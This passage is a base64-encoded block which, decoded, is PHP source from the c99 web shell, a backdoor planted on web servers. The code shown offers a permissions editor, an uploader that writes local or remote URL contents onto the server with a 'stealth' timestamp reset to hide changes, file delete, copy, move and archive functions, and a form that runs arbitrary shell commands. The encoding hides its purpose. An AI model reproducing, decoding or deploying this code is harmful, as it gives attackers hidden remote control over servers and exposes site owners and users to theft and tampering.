BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsNCiAgfQ0KIH0NCn0NCmlmICgkYWN0ID09ICJ1cGxvYWQiKQ0Kew0KICR1cGxvYWRtZXNzID0gIiI7DQogJHVwbG9hZHBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHVwbG9hZHBhdGgpOw0KIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30NCiBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSwxKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQ0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICBnbG9iYWwgJEhUVFBfUE9TVF9GSUxFUzsNCiAgJHVwbG9hZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKQ0KICB7DQogICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iO30NCiAgfQ0KICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkNCiAgew0KICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICBlbHNlDQogICB7DQogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgIGlmIChlbXB0eSgkZGVzdGluKSkNCiAgICB7DQogICAgICRpID0gMDsNCiAgICAgJGIgPSAiIjsNCiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319DQogICB9DQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7fQ0KICAgZWxzZQ0KICAgew0KICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOw0KICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlITxicj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30NCiAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICBpZiAoISRmcCkgeyR1cGxvYWRtZXNzIC49ICJFcnJvciB3cml0aW5nIHRvIGZpbGUgIi5odG1sc3BlY2lhbGNoYXJzKCRkZXN0aW4pLiIhPGJyPiI7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7DQogICAgICBmY2xvc2UoJGZwKTsNCiAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQogaWYgKCRtaW5pZm9ybSkNCiB7DQogIGVjaG8gIjxiPiIuJHVwbG9hZG1lc3MuIjwvYj4iOw0KICAkYWN0ID0gImxzIjsNCiB9DQogZWxzZQ0KIHsNCiAgZWNobyAiPGI+RmlsZSB1cGxvYWQ6PC9iPjxicj48Yj4iLiR1cGxvYWRtZXNzLiI8L2I+PGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9dXBsb2FkJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9XCJQT1NUXCI+DQpTZWxlY3QgZmlsZSBvbiB5b3VyIGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4NCklucHV0IFVSTDogPGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXplPVwiNzBcIj48YnI+PGJyPg0KU2F2ZSB0aGlzIGZpbGUgZGlyOiA8aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPg0KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+DQo8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiZuYnNwO2NvbnZlcnQgZmlsZSBuYW1lIHRvIGxvdmVyY2FzZTxicj48YnI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlVwbG9hZFwiPg0KPC9mb3JtPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpDQp7DQogJGRlbGVyciA9ICIiOw0KIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpDQogew0KICAkcmVzdWx0ID0gZmFsc2U7DQogICRyZXN1bHQgPSBmc19ybW9iaigkdik7DQogIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIkNhbid0IGRlbGV0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiI8YnI+Ijt9DQogfQ0KIGlmICghZW1wdHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9DQogJGFjdCA9ICJscyI7DQp9DQppZiAoISR1c2Vmc2J1ZmYpDQp7DQogaWYgKCgkYWN0ID09ICJwYXN0ZSIpIG9yICgkYWN0ID09ICJjb3B5Iikgb3IgKCRhY3QgPT0gImN1dCIpIG9yICgkYWN0ID09ICJ1bnNlbGVjdCIpKSB7ZWNobyAiPGNlbnRlcj48Yj5Tb3JyeSwgYnVmZmVyIGlzIGRpc2FibGVkLiBGb3IgZW5hYmxlLCBzZXQgZGlyZWN0aXZlIFwiXCR1c2VGU2J1ZmZcIiBhcyBUUlVFLjwvY2VudGVyPiI7fQ0KfQ0KZWxzZQ0Kew0KIGlmICgkYWN0ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiOyB9DQogZWxzZWlmICgkYWN0ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9DQogZWxzZWlmICgkYWN0ID09ICJ1bnNlbGVjdCIpIHtmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0gZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fSBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30NCiBpZiAoJGFjdGVtcHR5YnVmZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpO30NCiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpDQogew0KICAkcHN0ZXJyID0gIiI7DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19jb3B5X29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9DQogIH0NCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpDQogIHsNCiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgfQ0KICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KIGVsc2VpZiAoJGFjdGFyY2J1ZmYpDQogew0KICAkYXJjZXJyID0gIiI7DQogIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgZWxzZSB7JGV4dCA9ICIudGFyLmd6Ijt9DQogIGlmICgkZXh0ID09ICIudGFyLmd6IikgeyRjbWRsaW5lID0gInRhciBjZnp2Ijt9DQogICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOw0KICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSk7DQogIGZvcmVhY2goJG9iamVjdHMgYXMgJHYpDQogIHsNCiAgICR2ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR2KTsNCiAgIGlmIChzdWJzdHIoJHYsMCxzdHJsZW4oJGQpKSA9PSAkZCkgeyR2ID0gYmFzZW5hbWUoJHYpO30NCiAgIGlmIChpc19kaXIoJHYpKQ0KICAgew0KICAgIGlmIChzdWJzdHIoJHYsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICR2IC49ICIqIjsNCiAgIH0NCiAgICRjbWRsaW5lIC49ICIgIi4kdjsNCiAgfQ0KICAkdG1wID0gcmVhbHBhdGgoIi4iKTsNCiAgY2hkaXIoJGQpOw0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZGxpbmUpOw0KICBjaGRpcigkdG1wKTsNCiAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICRyZXQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkcmV0KTsNCiAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpDQogIHsNCiAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9DQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpDQogew0KICAkcHN0ZXJyID0gIiI7DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgfQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCn0NCmlmICgkYWN0ID09ICJjbWQiKQ0Kew0KaWYgKHRyaW0oJGNtZCkgPT0gInBzIC1hdXgiKSB7JGFjdCA9ICJwc19hdXgiO30NCmVsc2UNCnsNCiBAY2hkaXIoJGNoZGlyKTsNCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIGNvbW1hbmQ8L2I+Ojxicj4iOw0KICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgQGNoZGlyKCRkKTsNCiAgJHJldCA9IG15c2hlbGxleGVjKCRjbWQpOw0KICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogIGlmICgkY21kX3R4dCkNCiAgew0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7DQogIH0NCiAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogIEBjaGRpcigkb2xkZGlyKTsNCiB9DQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIGNvbW1hbmQ8L2I+IjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gdHJ1ZTt9fQ0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuImFjdD1jbWRcIiBtZXRob2Q9XCJQT1NUXCI+PHRleHRhcmVhIG5hbWU9XCJjbWRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGNtZF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQp9DQppZiAoJGFjdCA9PSAibHMiKQ0Kew0KIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHskbGlzdCA9ICRsc19hcnI7fQ0KIGVsc2UNCiB7DQogICRsaXN0ID0gYXJyYXkoKTsNCiAgaWYgKCRoID0gQG9wZW5kaXIoJGQpKQ0KICB7DQogICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgeyRsaXN0W10gPSAkZC4kbzt9DQogICBjbG9zZWRpcigkaCk7DQogIH0NCiB9DQogaWYgKGNvdW50KCRsaXN0KSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBvcGVuIGRpcmVjdG9yeSAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogZWxzZQ0KIHsNCiAgLy9CdWlsZGluZyBhcnJheQ0KICAkb2JqZWN0cyA9IGFycmF5KCk7DQogICR2ZCA9ICJmIjsgLy9WaWV3aW5nIG1vZGUNCiAgaWYgKCR2ZCA9PSAiZiIpDQogIHsNCiAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgJG9iamVjdHNbImRpcnMiXSA9IGFycmF5KCk7DQogICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7DQogICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkbGlzdCBhcyAkdikNCiAgIHsNCiAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAkcm93ID0gYXJyYXkoKTsNCiAgICBpZiAoJG8gPT0gIi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9DQogICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKQ0KICAgIHsNCiAgICAgaWYgKGlzX2xpbmsoJHYpKSB7JHR5cGUgPSAiTElOSyI7fQ0KICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30NCiAgICAgJHJvd1tdID0gJHY7DQogICAgICRyb3dbXSA9ICR0eXBlOw0KICAgIH0NCiAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30NCiAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOw0KICAgIGlmICghJHdpbikNCiAgICB7DQogICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHYpKTsNCiAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOw0KICAgICAkcm93W10gPSAkb3dbIm5hbWUiXS4iLyIuJGdyWyJuYW1lIl07DQogICAgICRyb3dbXSA9IGZpbGVvd25lcigkdikuIi8iLmZpbGVncm91cCgkdik7DQogICAgfQ0KICAgICRyb3dbXSA9IGZpbGVwZXJtcygkdik7DQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskb2JqZWN0c1sibGlua3MiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JG9iamVjdHNbImRpcnMiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30NCiAgIH0NCiAgICRyb3cgPSBhcnJheSgpOw0KICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAkcm93W10gPSAiPGI+TW9kaWZ5PC9iPiI7DQogICBpZiAoISR3aW4pDQogIHskcm93W10gPSAiPGI+T3duZXIvR3JvdXA8L2I+Ijt9DQogICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5BY3Rpb248L2I+IjsNCiAgICRrID0gJHNvcnRbMF07DQogICBpZiAoIWlzX251bWVyaWMoJGspKSB7JGsgPSAkc29ydFswXSA9IDA7fQ0KICAgaWYgKCRzb3J0WzFdICE9ICJhIikgeyRzb3J0WzFdID0gImQiO30NCiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsNCiAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAkcm93WyRrXSAuPSAkeTsNCiAgIGZvcigkaT0wOyRpPGNvdW50KCRyb3cpLTE7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskcm93WyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9DQogICB9DQogICAkdiA9ICRzb3J0WzBdOw0KICAgdXNvcnQoJG9iamVjdHNbImRpcnMiXSwgInRhYnNvcnQiKTsNCiAgIHVzb3J0KCRvYmplY3RzWyJsaW5rcyJdLCAidGFic29ydCIpOw0KICAgdXNvcnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7DQogICBpZiAoJHNvcnRbMV0gPT0gImQiKQ0KICAgew0KICAgICRvYmplY3RzWyJkaXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzW2RpcnNdKTsNCiAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbZmlsZXNdKTsNCiAgIH0NCiAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZGlycyJdLCRvYmplY3RzWyJsaW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgICR0YWIgPSBhcnJheSgpOw0KICAgJHRhYlsiY29scyJdID0gYXJyYXkoJHJvdyk7DQogICAkdGFiWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZGlycyJdID0gYXJyYXkoKTsNCiAgICR0YWJbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZmlsZXMiXSA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkNCiAgIHsNCiAgICAkdiA9ICRhWzBdOw0KICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICRkaXIgPSBkaXJuYW1lKCR2KTsNCiAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9DQogICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICRkaXNwcGF0aCA9IHN0cjJtaW5pKCRkaXNwcGF0aCw2MCk7DQogICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30NCiAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKQ0KICAgIHsNCiAgICAgaWYgKGVyZWcoJHJbMF0sJG8pKQ0KICAgICB7DQogICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZCI7IGV4aXQ7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOw0KICAgICAgI